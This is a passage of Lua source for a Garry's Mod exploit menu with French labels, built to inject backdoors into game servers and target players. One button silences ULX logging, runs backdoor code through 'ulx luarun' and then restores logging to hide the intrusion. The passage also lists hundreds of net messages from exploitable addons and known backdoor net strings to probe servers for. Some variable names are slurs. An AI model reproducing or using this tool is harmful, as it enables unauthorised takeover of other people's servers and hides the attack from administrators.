2555surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
2556
2557surface.SetDrawColor( Color(0, 0, 0, 200) )
2558
2559surface.DrawRect( 10, 25, w - 20, h - 35 )
2560
2561surface.DrawRect( 15, 30, w - 30, 35 )
2562
2563draw.SimpleText("Victimisation Sur Tous", "DermaDefault", 80, 160, Color(255, 255, 255), 0, 1)
2564
2565draw.SimpleText("Victimisation Sur Un Joueur", "DermaDefault", 280, 160, Color(255, 255, 255), 0, 1)
2566
2567draw.SimpleText("Destruction", "DermaDefault", 520, 160, Color(255, 255, 255), 0, 1)
2568
2569draw.SimpleText("Joueurs A Victime", "DermaDefault", 660, 140, Color(255, 255, 255), 0, 1)
2570
2571draw.SimpleText("Paramètres Commandes", "DermaDefault", 485, 520, Color(255, 255, 255), 0, 1)
2572
2573end
2574
2575HTMLGUI = vgui.Create( "HTML", BDMenu )
2576HTMLGUI:SetSize( 400,50 )
2577HTMLGUI:SetPos( 330,80 )
2578HTMLGUI:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
2579
2580surface.CreateFont("close",{font = "Marlett", size = 15, weight = 0, antialias = 0})
2581local CLOSEBOUTON = vgui.Create( "DButton", BDMenu)
2582CLOSEBOUTON:SetPos( 795, 0)
2583CLOSEBOUTON:SetSize( 30, 25 )
2584CLOSEBOUTON:SetText( "X" )
2585CLOSEBOUTON:SetFont( "close" )
2586CLOSEBOUTON.Paint = function( self, w, h )
2587draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 0))
2588if CLOSEBOUTON:IsHovered() then
2589CLOSEBOUTON:SetTextColor( Color( 255, 255, 255, 255 ) )
2590draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 0))
2591else
2592draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
2593CLOSEBOUTON:SetTextColor( Color( 255, 255, 255 ) )
2594end
2595CLOSEBOUTON.DoClick = function()
2596surface.PlaySound( "UI/buttonclick.wav" )
2597BDMenu:Remove()
2598end
2599end
2600
2601
2602local it = 28
2603
2604
2605
2606local wedungoofd = vgui.Create( "DLabel", BDMenu )
2607
2608wedungoofd:SetPos( 25, 38 )
2609
2610wedungoofd:SetFont( "Trebuchet18" )
2611
2612wedungoofd:SetColor( Color( 120, 50, 50 ) )
2613
2614wedungoofd:SetText( "" )
2615
2616wedungoofd:SizeToContents()
2617
2618
2619
2620for bd, t in pairs( BD.BackdoorTypes ) do
2621
2622 local faggot = vgui.Create("DButton", BDMenu)
2623
2624 faggot:SetSize( 150, 25 )
2625
2626 faggot:SetPos( it, 35 )
2627
2628 faggot:SetText( bd )
2629
2630 faggot:SetTextColor(Color(255, 255, 255, 255))
2631
2632 faggot.Paint = function(panel, w, h)
2633
2634 if BD.Backdoors[bd] then
2635
2636 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2637
2638 surface.DrawOutlinedRect(0, 0, w, h)
2639
2640 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2641
2642 surface.DrawRect(0, 0, w, h)
2643
2644 else
2645
2646 surface.SetDrawColor(50, 50, 50 ,155)
2647
2648 surface.DrawRect(0, 0, w, h)
2649
2650 end
2651
2652 end
2653
2654 faggot.DoClick = function()
2655
2656 BD.ChatText( "La Backdoor est désormais : "..bd, Color(155,155,255) )
2657
2658 BD.CurrentBackdoor = bd
2659
2660 surface.PlaySound("buttons/button18.wav")
2661
2662 end
2663
2664 it = it + 155
2665
2666end
2667
2668
2669
2670local Plist = vgui.Create( "DPanelList", BDMenu )
2671
2672Plist:SetPos( 40, 175 )
2673
2674Plist:SetSize( 200, 300 )
2675
2676Plist:SetPadding( 10 )
2677
2678Plist:SetSpacing( 8 )
2679
2680Plist:EnableHorizontal( false )
2681
2682Plist:EnableVerticalScrollbar( true )
2683
2684Plist:SetName( "" )
2685
2686Plist.Paint = function( self, w, h )
2687
2688 surface.SetDrawColor(0, 0, 0 ,200)
2689
2690 surface.DrawOutlinedRect(0, 0, w, h)
2691 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2692 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2693
2694 surface.SetDrawColor(0, 0, 0 ,220)
2695
2696 surface.DrawRect(0, 0, w, h)
2697
2698end
2699
2700
2701
2702local Plist2 = vgui.Create( "DPanelList", BDMenu )
2703
2704Plist2:SetPos( 250, 175 )
2705
2706Plist2:SetSize( 200, 300 )
2707
2708Plist2:SetPadding( 5 )
2709
2710Plist2:SetSpacing( 5 )
2711
2712Plist2:EnableHorizontal( false )
2713
2714Plist2:EnableVerticalScrollbar( true )
2715
2716Plist2:SetName( "" )
2717
2718Plist2.Paint = function( self, w, h )
2719
2720 surface.SetDrawColor(0, 0, 0 ,200)
2721
2722 surface.DrawOutlinedRect(0, 0, w, h)
2723 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2724 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2725
2726 surface.SetDrawColor(0, 0, 0 ,220)
2727
2728 surface.DrawRect(0, 0, w, h)
2729
2730end
2731
2732
2733
2734local Plist3 = vgui.Create( "DPanelList", BDMenu )
2735
2736Plist3:SetPos( 470, 175 )
2737
2738Plist3:SetSize( 150, 300 )
2739
2740Plist3:SetPadding( 5 )
2741
2742Plist3:SetSpacing( 5 )
2743
2744Plist3:EnableHorizontal( false )
2745
2746Plist3:EnableVerticalScrollbar( true )
2747
2748Plist3:SetName( "" )
2749
2750Plist3.Paint = function( self, w, h )
2751
2752 surface.SetDrawColor(0, 0, 0 ,200)
2753
2754 surface.DrawOutlinedRect(0, 0, w, h)
2755 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2756 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2757
2758 surface.SetDrawColor(0, 0, 0 ,220)
2759
2760 surface.DrawRect(0, 0, w, h)
2761
2762end
2763
2764
2765
2766local Plist4 = vgui.Create( "DPanelList", BDMenu )
2767
2768Plist4:SetPos( 630, 175 )
2769
2770Plist4:SetSize( 150, 300 )
2771
2772Plist4:SetPadding( 5 )
2773
2774Plist4:SetSpacing( 5 )
2775
2776Plist4:EnableHorizontal( false )
2777
2778Plist4:EnableVerticalScrollbar( true )
2779
2780Plist4:SetName( "" )
2781
2782Plist4.Paint = function( self, w, h )
2783
2784 surface.SetDrawColor(0, 0, 0 ,200)
2785
2786 surface.DrawOutlinedRect(0, 0, w, h)
2787 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2788 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2789
2790 surface.SetDrawColor(0, 0, 0 ,220)
2791
2792 surface.DrawRect(0, 0, w, h)
2793
2794end
2795
2796
2797
2798 local faggot = vgui.Create("DButton", BDMenu)
2799
2800 faggot:SetSize( 150, 35 )
2801
2802 faggot:SetPos( 630, 480 )
2803
2804 faggot:SetText("Activer Backdoor!")
2805
2806 faggot:SetTextColor(Color(255, 255, 255, 255))
2807
2808 faggot.Paint = function(panel, w, h)
2809
2810 surface.SetDrawColor(255, 100, 00 ,255)
2811
2812 surface.DrawOutlinedRect(0, 0, w, h)
2813
2814 surface.SetDrawColor(50, 0, 0 ,155)
2815
2816 surface.DrawRect(0, 0, w, h)
2817
2818 end
2819
2820 faggot.DoClick = function()
2821
2822 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné de backdoor, IDIOT !", Color(255,155,155) ) return end
2823
2824 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2825
2826 surface.PlaySound("buttons/button18.wav")
2827
2828 end
2829
2830
2831
2832
2833
2834 local helpimretarded = vgui.Create("DButton", BDMenu)
2835
2836 helpimretarded:SetSize( 200, 35 )
2837
2838 helpimretarded:SetPos( 40, 480 )
2839
2840 helpimretarded:SetText("Copier Le Code De La Backdoor")
2841
2842 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2843
2844 helpimretarded.Paint = function(panel, w, h)
2845
2846 surface.SetDrawColor(255, 100, 00 ,255)
2847
2848 surface.DrawOutlinedRect(0, 0, w, h)
2849
2850 surface.SetDrawColor(50, 0, 0 ,155)
2851
2852 surface.DrawRect(0, 0, w, h)
2853
2854 end
2855
2856 helpimretarded.DoClick = function()
2857
2858 BD.ChatText( "Code copié, tu peut l'injecter via la console mtn :D", Color(155,255,155) )
2859
2860 local bdstring = BD.GetActive().Code
2861
2862 SetClipboardText( bdstring )
2863
2864 end
2865
2866
2867
2868 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2869
2870 helpimretarded2:SetSize( 200, 35 )
2871
2872 helpimretarded2:SetPos( 250, 480 )
2873
2874 helpimretarded2:SetText("LuaRun La Backdoor")
2875
2876 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
2877
2878 helpimretarded2.Paint = function(panel, w, h)
2879
2880 surface.SetDrawColor(255, 100, 00 ,255)
2881
2882 surface.DrawOutlinedRect(0, 0, w, h)
2883
2884 surface.SetDrawColor(50, 0, 0 ,155)
2885
2886 surface.DrawRect(0, 0, w, h)
2887
2888 end
2889
2890 helpimretarded2.DoClick = function()
2891
2892 BD.ChatText( "Infection du serveur discrètement...", Color(155,255,155) )
2893
2894 LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
2895
2896 timer.Simple( 0.5, function()
2897
2898 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
2899
2900 end )
2901
2902 timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 1]] ) end )
2903
2904
2905
2906 timer.Simple( 1.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "Infecté Avec Succès !", Color(155,255,155) ) else BD.ChatText( "Infection ULX Raté!", Color(255,155,155) ) end end )
2907
2908 end
2909
2910
2911
2912
2913
2914local moonman = vgui.Create( "DTextEntry", BDMenu )
2915
2916moonman:SetPos( 470, 480 )
2917
2918moonman:SetSize( 150, 33 )
2919
2920moonman:SetText( backdoorargs )
2921
2922moonman.OnChange = function( self )
2923
2924 backdoorargs = self:GetValue()
2925
2926-- surface.PlaySound("buttons/button3.wav")
2927
2928end
2929
2930
2931
2932
2933
2934 local target1 = vgui.Create("DButton", BDMenu)
2935
2936 target1:SetSize( 40, 20 )
2937
2938 target1:SetPos( 630, 150 )
2939
2940 target1:SetText("Tous")
2941
2942 target1:SetTextColor(Color(255, 255, 255, 255))
2943
2944 target1.Paint = function(panel, w, h)
2945
2946 surface.SetDrawColor(255, 100, 00 ,255)
2947
2948 surface.DrawOutlinedRect(0, 0, w, h)
2949
2950 surface.SetDrawColor(50, 0, 0 ,155)
2951
2952 surface.DrawRect(0, 0, w, h)
2953
2954 end
2955
2956 target1.DoClick = function()
2957
2958 for _, p in pairs(player.GetAll()) do
2959
2960 if not table.HasValue( selectedplayers, p ) then
2961
2962 table.insert( selectedplayers, p )
2963
2964 end
2965
2966 end
2967
2968 end
2969
2970
2971
2972 local target2 = vgui.Create("DButton", BDMenu)
2973
2974 target2:SetSize( 40, 20 )
2975
2976 target2:SetPos( 685, 150 )
2977
2978 target2:SetText("Aucun")
2979
2980 target2:SetTextColor(Color(255, 255, 255, 255))
2981
2982 target2.Paint = function(panel, w, h)
2983
2984 surface.SetDrawColor(255, 100, 00 ,255)
2985
2986 surface.DrawOutlinedRect(0, 0, w, h)
2987
2988 surface.SetDrawColor(50, 0, 0 ,155)
2989
2990 surface.DrawRect(0, 0, w, h)
2991
2992 end
2993
2994 target2.DoClick = function()
2995
2996 table.Empty( selectedplayers )
2997
2998 end
2999
3000
3001
3002 local target2 = vgui.Create("DButton", BDMenu)
3003
3004 target2:SetSize( 40, 20 )
3005
3006 target2:SetPos( 740, 150 )
3007
3008 target2:SetText("Moi")
3009
3010 target2:SetTextColor(Color(255, 255, 255, 255))
3011
3012 target2.Paint = function(panel, w, h)
3013
3014 surface.SetDrawColor(255, 100, 00 ,255)
3015
3016 surface.DrawOutlinedRect(0, 0, w, h)
3017
3018 surface.SetDrawColor(50, 0, 0 ,155)
3019
3020 surface.DrawRect(0, 0, w, h)
3021
3022 end
3023
3024 target2.DoClick = function()
3025
3026 table.Empty( selectedplayers )
3027
3028 table.insert( selectedplayers, LocalPlayer() )
3029
3030 end
3031
3032
3033
3034
3035
3036
3037
3038/*================================
3039|===== LISTES DES JOUEURS =====|
3040=================================*/
3041
3042
3043
3044for k, v in pairs( player.GetAll() ) do
3045
3046
3047
3048 local plypanel2 = vgui.Create( "DPanel" )
3049
3050 plypanel2:SetPos( 0, 0 )
3051
3052 plypanel2:SetSize( 200, 25 )
3053
3054 plypanel2.Paint = function() -- Paint function
3055
3056 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3057
3058 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(255, 255, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
3059
3060 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3061
3062 end
3063
3064
3065
3066 local plyname = vgui.Create( "DLabel", plypanel2 )
3067
3068 plyname:SetPos( 10, 5 )
3069
3070 plyname:SetFont( "Trebuchet18" )
3071
3072 local tcol = Color( 255, 255, 255 )
3073
3074 if v == LocalPlayer() then tcol = Color( 255, 155, 155 ) end
3075
3076 plyname:SetColor( tcol )
3077
3078 plyname:SetText( v:Nick() )
3079
3080 plyname:SetSize(180, 15)
3081
3082
3083
3084
3085
3086 local faggot = vgui.Create("DButton", plypanel2)
3087
3088 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3089
3090 faggot:SetPos( 0, 0 )
3091
3092 faggot:SetText("")
3093
3094 faggot.Paint = function(panel, w, h)
3095
3096 return
3097
3098 end
3099
3100 faggot.DoClick = function()
3101
3102 if table.HasValue( selectedplayers, v ) then
3103
3104 table.RemoveByValue( selectedplayers, v )
3105
3106 else
3107
3108 table.insert( selectedplayers, v )
3109
3110 end
3111
3112 end
3113
3114
3115
3116
3117
3118 Plist4:AddItem( plypanel2 )
3119
3120
3121
3122end
3123
3124
3125
3126
3127
3128BD.GenerateBackdoorList( Plist, 1 )
3129
3130BD.GenerateBackdoorList( Plist2, 2 )
3131
3132BD.GenerateBackdoorList( Plist3, 3 )
3133
3134
3135
3136end
3137
3138concommand.Add("88_backdoor", BD.BackdoorMenu)
3139
3140
3141
3142
3143
3144function BD.QuickFireBackdoor()
3145
3146if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a rien selectionné, que faire !", Color(255,155,155) ) return end
3147
3148if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3149
3150end
3151
3152concommand.Add("runbd", BD.QuickFireBackdoor)
3153
3154
3155
3156
3157
3158
3159
3160
3161
3162
3163/*=================================
3164|====== CONCOMMAND ON START ======|
3165=================================*/
3166RunConsoleCommand "stopsound"
3167
3168
3169
3170
3171
3172
3173
3174
3175/*==========================
3176|==== Los Famosos Local ====|
3177==========================*/
3178
3179local givemeid = LocalPlayer():SteamID()
3180local ply = LocalPlayer()
3181local asphyxnet = "";
3182local n = net
3183local nr = n.Receive
3184local s = n.ReadString
3185local NBRBackdoor = 0
3186local selectedplayers = {}
3187local selectedbackdoor = ""
3188
3189
3190
3191
3192
3193
3194/*=============================
3195|==== Check SNTE Netstring ===|
3196=============================*/
3197
3198local rdmNetNum = 30 -- having more usable exploitable addons means it's 100% darkrp gamemode lol
3199
3200// global list of exploits that circulates
3201local legit_nets = {
3202 "pplay_deleterow",
3203 "pplay_addrow",
3204 "pplay_sendtable",
3205 "WriteQuery",
3206 "VJSay",
3207 "SendMoney",
3208 "BailOut",
3209 "customprinter_get",
3210 "textstickers_entdata",
3211 "NC_GetNameChange",
3212 "ATS_WARP_REMOVE_CLIENT",
3213 "ATS_WARP_FROM_CLIENT",
3214 "ATS_WARP_VIEWOWNER",
3215 "CFRemoveGame",
3216 "CFJoinGame",
3217 "CFEndGame",
3218 "CreateCase",
3219 "rprotect_terminal_settings",
3220 "StackGhost",
3221 "RevivePlayer",
3222 "ARMORY_RetrieveWeapon",
3223 "TransferReport",
3224 "SimplicityAC_aysent",
3225 "pac_to_contraption",
3226 "SyncPrinterButtons76561198056171650",
3227 "sendtable",
3228 "steamid2",
3229 "Kun_SellDrug",
3230 "net_PSUnBoxServer",
3231 "pplay_deleterow",
3232 "pplay_addrow",
3233 "CraftSomething",
3234 "banleaver",
3235 "75_plus_win",
3236 "ATMDepositMoney",
3237 "Taxi_Add",
3238 "Kun_SellOil",
3239 "SellMinerals",
3240 "TakeBetMoney",
3241 "PoliceJoin",
3242 "CpForm_Answers",
3243 "DepositMoney",
3244 "MDE_RemoveStuff_C2S",
3245 "NET_SS_DoBuyTakeoff",
3246 "NET_EcSetTax",
3247 "RP_Accept_Fine",
3248 "RP_Fine_Player",
3249 "RXCAR_Shop_Store_C2S",
3250 "RXCAR_SellINVCar_C2S",
3251 "drugseffect_remove",
3252 "drugs_money",
3253 "CRAFTINGMOD_SHOP",
3254 "drugs_ignite",
3255 "drugseffect_hpremove",
3256 "DarkRP_Kun_ForceSpawn",
3257 "drugs_text",
3258 "NLRKick",
3259 "RecKickAFKer",
3260 "GMBG:PickupItem",
3261 "DL_Answering",
3262 "plyWarning",
3263 "NLR.ActionPlayer",
3264 "timebombDefuse",
3265 "start_wd_emp",
3266 "kart_sell",
3267 "FarmingmodSellItems",
3268 "ClickerAddToPoints",
3269 "bodyman_model_change",
3270 "TOW_PayTheFine",
3271 "FIRE_CreateFireTruck",
3272 "hitcomplete",
3273 "hhh_request",
3274 "DaHit",
3275 "TCBBuyAmmo",
3276 "DataSend",
3277 "gBan.BanBuffer",
3278 "fp_as_doorHandler",
3279 "Upgrade",
3280 "TowTruck_CreateTowTruck",
3281 "TOW_SubmitWarning",
3282 "duelrequestguiYes",
3283 "JoinOrg",
3284 "pac_submit",
3285 "NDES_SelectedEmblem",
3286 "join_disconnect",
3287 "Morpheus.StaffTracker",
3288 "casinokit_chipexchange",
3289 "BuyKey",
3290 "BuyCrate",
3291 "FactionInviteConsole",
3292 "FacCreate",
3293 "1942_Fuhrer_SubmitCandidacy",
3294 "pogcp_report_submitReport",
3295 "textscreens_download",
3296 "hsend",
3297 "BuilderXToggleKill",
3298 "Chatbox_PlayerChat",
3299 "reports.submit",
3300 "services_accept",
3301 "Warn_CreateWarn",
3302 "NewReport",
3303 "soez",
3304 "GiveHealthNPC",
3305 "DarkRP_SS_Gamble",
3306 "buyinghealth",
3307 "DarkRP_preferredjobmodel",
3308 "DarkRP_spawnPocket",
3309 "whk_setart",
3310 "WithdrewBMoney",
3311 "DuelMessageReturn",
3312 "ban_rdm",
3313 "BuyCar",
3314 "ats_send_toServer",
3315 "dLogsGetCommand",
3316 "disguise",
3317 "gportal_rpname_change",
3318 "AbilityUse",
3319 "ClickerAddToPoints",
3320 "race_accept",
3321 "give_me_weapon",
3322 "FinishContract",
3323 "NLR_SPAWN",
3324 "Kun_ZiptieStruggle",
3325 "JB_Votekick",
3326 "Letthisdudeout",
3327 "ckit_roul_bet",
3328 "pac.net.TouchFlexes.ClientNotify",
3329 "ply_pick_shit",
3330 "TFA_Attachment_RequestAll",
3331 "BuyFirstTovar",
3332 "BuySecondTovar",
3333 "GiveHealthNPC",
3334 "MONEY_SYSTEM_GetWeapons",
3335 "MCon_Demote_ToServer",
3336 "withdrawp",
3337 "PCAdd",
3338 "ActivatePC",
3339 "PCDelAll",
3340 "viv_hl2rp_disp_message",
3341 "ATM_DepositMoney_C2S",
3342 "BM2.Command.SellBitcoins",
3343 "BM2.Command.Eject",
3344 "tickbooksendfine",
3345 "egg",
3346 "RHC_jail_player",
3347 "PlayerUseItem",
3348 "Chess Top10",
3349 "ItemStoreUse",
3350 "EZS_PlayerTag",
3351 "simfphys_gasspill",
3352 "sphys_dupe",
3353 "sw_gokart",
3354 "wordenns",
3355 "SyncPrinterButtons16690",
3356 "AttemptSellCar",
3357 "DarkRP_spawnPocket",
3358 "uPLYWarning",
3359 "atlaschat.rqclrcfg",
3360 "dlib.getinfo.replicate",
3361 "SetPermaKnife",
3362 "EnterpriseWithdraw",
3363 "SBP_addtime",
3364 "NetData",
3365 "CW20_PRESET_LOAD",
3366 "minigun_drones_switch",
3367 "NET_AM_MakePotion",
3368 "bitcoins_request_turn_off",
3369 "bitcoins_request_turn_on",
3370 "bitcoins_request_withdraw",
3371 "PermwepsNPCSellWeapon",
3372 "ncpstoredoact",
3373 "DuelRequestClient",
3374 "BeginSpin",
3375 "tickbookpayfine",
3376 "fg_printer_money",
3377 "IGS.GetPaymentURL",
3378 "pp_info_send",
3379 "AirDrops_StartPlacement",
3380 "SlotsRemoved",
3381 "FARMINGMOD_DROPITEM",
3382 "cab_sendmessage",
3383 "cab_cd_testdrive",
3384 "blueatm",
3385 "SCP-294Sv",
3386 "dronesrewrite_controldr",
3387 "desktopPrinter_Withdraw",
3388 "RemoveTag",
3389 "IDInv_RequestBank",
3390 "UseMedkit",
3391 "WipeMask",
3392 "SwapFilter",
3393 "RemoveMask",
3394 "DeployMask",
3395 "ZED_SpawnCar",
3396 "levelup_useperk",
3397 "passmayorexam",
3398 "Selldatride",
3399 "ORG_VaultDonate",
3400 "ORG_NewOrg",
3401 "ScannerMenu",
3402 "misswd_accept",
3403 "D3A_Message",
3404 "LawsToServer",
3405 "Shop_buy",
3406 "D3A_CreateOrg",
3407 "Gb_gasstation_BuyGas",
3408 "Gb_gasstation_BuyJerrycan",
3409 "MineServer",
3410 "AcceptBailOffer",
3411 "LawyerOfferBail",
3412 "buy_bundle",
3413 "AskPickupItemInv",
3414 "donatorshop_itemtobuy",
3415 "netOrgVoteInvite_Server",
3416 "Chess ClientWager",
3417 "AcceptRequest",
3418 "deposit",
3419 "CubeRiot CaptureZone Update",
3420 "NPCShop_BuyItem",
3421 "SpawnProtection",
3422 "hoverboardpurchase",
3423 "soundArrestCommit",
3424 "LotteryMenu",
3425 "updateLaws",
3426 "TMC_NET_FirePlayer",
3427 "thiefnpc",
3428 "TMC_NET_MakePlayerWanted",
3429 "SyncRemoveAction",
3430 "HV_AmmoBuy",
3431 "NET_CR_TakeStoredMoney",
3432 "nox_addpremadepunishment",
3433 "GrabMoney",
3434 "LAWYER.GetBailOut",
3435 "LAWYER.BailFelonOut",
3436 "br_send_pm",
3437 "GET_Admin_MSGS",
3438 "OPEN_ADMIN_CHAT",
3439 "LB_AddBan",
3440 "redirectMsg",
3441 "RDMReason_Explain",
3442 "JB_SelectWarden",
3443 "JB_GiveCubics",
3444 "SendSteamID",
3445 "wyozimc_playply",
3446 "SpecDM_SendLoadout",
3447 "sv_saveweapons",
3448 "DL_StartReport",
3449 "DL_ReportPlayer",
3450 "DL_AskLogsList",
3451 "DailyLoginClaim",
3452 "GiveWeapon",
3453 "GovStation_SpawnVehicle",
3454 "inviteToOrganization",
3455 "createFaction",
3456 "sellitem",
3457 "giveArrestReason",
3458 "unarrestPerson",
3459 "JoinFirstSS",
3460 "bringNfreeze",
3461 "start_wd_hack",
3462 "DestroyTable",
3463 "nCTieUpStart",
3464 "IveBeenRDMed",
3465 "FIGHTCLUB_StartFight",
3466 "FIGHTCLUB_KickPlayer",
3467 "ReSpawn",
3468 "CP_Test_Results",
3469 "AcceptBailOffer",
3470 "IS_SubmitSID_C2S",
3471 "IS_GetReward_C2S",
3472 "ChangeOrgName",
3473 "DisbandOrganization",
3474 "CreateOrganization",
3475 "newTerritory",
3476 "InviteMember",
3477 "sendDuelInfo",
3478 "DoDealerDeliver",
3479 "PurchaseWeed",
3480 "guncraft_removeWorkbench",
3481 "wordenns",
3482 "userAcceptPrestige",
3483 "DuelMessageReturn",
3484 "Client_To_Server_OpenEditor",
3485 "GiveSCP294Cup",
3486 "GiveArmor100",
3487 "SprintSpeedset",
3488 "ArmorButton",
3489 "HealButton",
3490 "SRequest",
3491 "ClickerForceSave",
3492 "rpi_trade_end",
3493 "NET_BailPlayer",
3494 "vj_testentity_runtextsd",
3495 "requestmoneyforvk",
3496 "gPrinters.sendID",
3497 "FIRE_RemoveFireTruck",
3498 "drugs_effect",
3499 "drugs_give",
3500 "NET_DoPrinterAction",
3501 "opr_withdraw",
3502 "money_clicker_withdraw",
3503 "NGII_TakeMoney",
3504 "gPrinters.retrieveMoney",
3505 "revival_revive_accept",
3506 "chname",
3507 "NewRPNameSQL",
3508 "UpdateRPUModelSQL",
3509 "SetTableTarget",
3510 "SquadGiveWeapon",
3511 "BuyUpgradesStuff",
3512 "REPAdminChangeLVL",
3513 "SendMail",
3514 "DemotePlayer",
3515 "OpenGates",
3516 "VehicleUnderglow",
3517 "Hopping_Test",
3518 "CREATE_REPORT",
3519 "CreateEntity",
3520 "FiremanLeave",
3521 "DarkRP_Defib_ForceSpawn",
3522 "Resupply",
3523 "BTTTStartVotekick",
3524 "_nonDBVMVote",
3525 "REPPurchase",
3526 "deathrag_takeitem",
3527 "FacCreate",
3528 "InformPlayer",
3529 "lockpick_sound",
3530 "SetPlayerModel",
3531 "changeToPhysgun",
3532 "VoteBanNO",
3533 "VoteKickNO",
3534 "shopguild_buyitem",
3535 "MG2.Request.GangRankings",
3536 "RequestMAPSize",
3537 "gMining.sellMineral",
3538 "ItemStoreDrop",
3539 "optarrest",
3540 "DarkRP_TipJarUpdate",
3541 "TalkIconChat",
3542 "UpdateAdvBoneSettings",
3543 "ViralsScoreboardAdmin"
3544}
3545
3546// battle against a risk of backdoor
3547local bad_nets = {
3548 "Sbox_gm_attackofnullday_key",
3549 "c",
3550 "enablevac",
3551 "ULXQUERY2",
3552 "Im_SOCool",
3553 "MoonMan",
3554 "LickMeOut",
3555 "SessionBackdoor",
3556 "OdiumBackDoor",
3557 "ULX_QUERY2",
3558 "nocheat",
3559 "Sbox_itemstore",
3560 "Sbox_darkrp",
3561 "Sbox_Message",
3562 "_blacksmurf",
3563 "nostrip",
3564 "Remove_Exploiters",
3565 "Sandbox_ArmDupe",
3566 "rconadmin",
3567 "jesuslebg",
3568 "zilnix",
3569 "Þà ?D)◘",
3570 "disablebackdoor",
3571 "blacksmurfBackdoor",
3572 "jeveuttonrconleul",
3573 "memeDoor",
3574 "DarkRP_AdminWeapons",
3575 "Fix_Keypads",
3576 "noclipcloakaesp_chat_text",
3577 "_CAC_ReadMemory",
3578 "Ulib_Message",
3579 "Ulogs_Infos",
3580 "ITEM",
3581 "fix",
3582 "nocheat",
3583 "Sandbox_GayParty",
3584 "DarkRP_UTF8",
3585 "OldNetReadData",
3586 "Backdoor",
3587 "cucked",
3588 "NoNerks",
3589 "kek",
3590 "ZimbaBackdoor",
3591 "something",
3592 "random",
3593 "strip0",
3594 "fellosnake",
3595 "idk",
3596 "killserver",
3597 "fuckserver",
3598 "cvaraccess",
3599 "rcon",
3600 "rconadmin",
3601 "web",
3602 "dontforget",
3603 "aze46aez67z67z64dcv4bt",
3604 "nolag",
3605 "changename",
3606 "music",
3607 "_Defqon",
3608 "xenoexistscl",
3609 "R8",
3610 "DefqonBackdoor",
3611 "fourhead",
3612 "echangeinfo",
3613 "PlayerItemPickUp",
3614 "kill",
3615 "Þ� ?D)◘",
3616 "thefrenchenculer",
3617 "elfamosabackdoormdr",
3618 "stoppk",
3619 "noprop",
3620 "reaper",
3621 "Abcdefgh",
3622 "JSQuery.Data(Post(false))",
3623 "pjHabrp9EY",
3624 "_Raze",
3625 "m9k_explosionradius",
3626 "NoOdium_ReadPing",
3627 "m9k_explosionradius",
3628 "gag",
3629 "_cac_",
3630 "_Battleye_Meme_",
3631 "ULogs_B",
3632 "arivia",
3633 "_Warns",
3634 "striphelper",
3635 "m9k_explosive",
3636 "GaySploitBackdoor",
3637 "_GaySploit",
3638 "slua",
3639 "Bilboard.adverts:Spawn(false)",
3640 "BOOST_FPS"
3641
3642}
3643
3644
3645local legit_num = #legit_nets
3646local bad_num = #bad_nets
3647
3648local function ban(_, ply)
3649 ply:Kick("[Auto-Ban] - On c'est fait avoir nous même rt")
3650end
3651
3652timer.Simple(1, function()
3653 for i = legit_num, 1, -1 do
3654 if util.NetworkStringToID(legit_nets[i]) ~= 0 then
3655 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 0, 255, 0 )," SNTE A détécté " .. table.remove(legit_nets, i) .. " comme exploit \n" )
3656 legit_num = legit_num - 1
3657 end
3658 end
3659 for i = bad_num, 1, -1 do
3660 if util.NetworkStringToID(bad_nets[i]) ~= 0 then
3661 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(bad_nets, i) .. " comme backdoor \n" )
3662 net.Receive(bad_nets[i], ban)
3663 bad_num = bad_num - 1
3664 end
3665 end
3666 local global_nets = legit_nets
3667 table.Add(global_nets, bad_nets)
3668
3669
3670 local global_num = #global_nets
3671 for i = global_num, 1, -1 do
3672 if util.NetworkStringToID(global_nets[i]) ~= 0 then
3673 MsgC( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(global_nets, i) .. " généré \n" )
3674 net.Receive(global_nets[i], print "lol")
3675 global_num = global_num - 1
3676end
3677end
3678end)
3679
3680
3681
3682/*=======================
3683|==== Check Netstring ===|
3684========================*/
3685
3686concommand.Add("asnet", function()
3687local netstrings = {}
3688for i = 1, 9999 do
3689local asnet = util.NetworkIDToString( i )
